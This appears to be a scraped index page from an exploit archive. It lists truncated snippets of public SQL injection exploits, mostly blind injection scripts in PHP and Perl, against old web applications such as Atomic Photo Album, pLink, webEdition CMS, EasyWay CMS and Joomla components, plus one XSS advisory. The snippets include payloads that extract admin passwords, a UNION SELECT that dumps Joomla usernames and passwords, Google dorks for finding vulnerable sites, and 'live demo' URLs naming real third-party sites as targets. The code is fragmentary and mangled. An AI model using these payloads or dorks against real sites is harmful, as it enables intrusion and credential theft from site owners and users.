Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit Vulnerability discovered by: Stack Exploit coded by: Stack Greetz to: All My Freind Dork: intext:"Powered by Atomic Photo Album 1.1.0pre4" Admin Panel: Target/apa...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++ for $i = 46; $i = 122; $i=$i+2 if $i == 60 $i = 98;...

pLink 2.07 - linkto.php Blind SQL Injection

pLink 2.07 - linkto.php Blind SQL Injection php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1/"; ec...

pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= pLink 2.07 linkto.php id Remote Blind SQL Injection Exploit ============================================================= php '.$argv0.' http://www.site.com/link/linkto.php?id=1...

pLink 2.07 - 'linkto.php' Blind SQL Injection

php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstringselect+pwd+from+pluser+where+id=".$userid."+li...

webeditioncms-sql.txt

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."'and+asciisubstringsel...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== webEdition CMS weobjectID Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc ...

HRS Multi - 'key' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " Viva IslaMe Viva IslaMe \n"; print " HRS Multi Blind SQL Injection Exploit \n"; print " picturepicbv.asp key \n"; print " Author: Mr.SQL \n"; print " EMAIL : [email protected] \n"; print " \n"; print " -::...

Sql injection

Multiple SQL injection vulnerabilities in ShareCMS 0.1 Beta allow remote attackers to execute arbitrary SQL commands via the 1 eventID parameter to eventinfo.php and the 2 userID parameter to listuser.php...

Comparison Engine Power 1.0 - Blind SQL Injection

Comparison Engine Power 1.0 - Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " VIVA ISLAME VIVA ISLAME \n"; print " \n"; print " Comparison Engine Power 1.0 Blind SQL Injection Exploit \n"; print " \n";...

Comparison Engine Power 1.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= Comparison Engine Power 1.0 Blind SQL Injection Exploit ======================================================= !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "...

DIY (index_topic did ) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== DIY indextopic did Blind SQL Injection Exploit ================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " VIVA...

Joomla Component iDoBlog <= b24 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== Joomla Component iDoBlog and 1=1 UNION SELECT user,user,user,user,user,concatusername,0x3a,password,user,user,user,user,user,user,user,user,user,user FROM josusers--...

Joomla Component JooBB 0.5.9 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Joomla Component JooBB 0.5.9 Blind SQL Injection Exploit ======================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print...

EasyWay CMS (index.php mid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== EasyWay CMS index.php mid Remote SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com 1 '; if $argc == 3 echo "\nExploiti...

Azuresites CMS - Multiple Vulnerabilities

Azuresites CMS - Multiple Vulnerabilities AzureSites CMS - Multiple Vulnerabilities Vulnerabilities discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, GPM, Free-Hack, Ciphercrew, h4ck-y0u Date: 26.05.2008 Vulnerabilities: 1. SQL Injection 1.1...

EasyWay CMS - 'mid' SQL Injection

php '.$argv0.' http://www.site.com 1 '; if $argc == 3 echo "\nExploiting in progress:"; $url = $argv1; $source = filegetcontents$url.'/index.php?mid=null+order+by+100/'; $errorcount = substrcount$source,'not a valid MySQL'; $sql = '/index.php?mid=null+union+select+'; for $i = 25; $i=1; $i-- $sour...

CMS Easyway - 'mid' SQL Injection

source: https://www.securityfocus.com/bid/29461/info CMS Easyway is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify...

CVE-2008-2445

Cross-site scripting XSS vulnerability in profile.php in Web Group Communication Center WGCC 1.0.3 PreRelease 1 and earlier allows remote attackers to inject arbitrary web script or HTML via the userid parameter in a show action...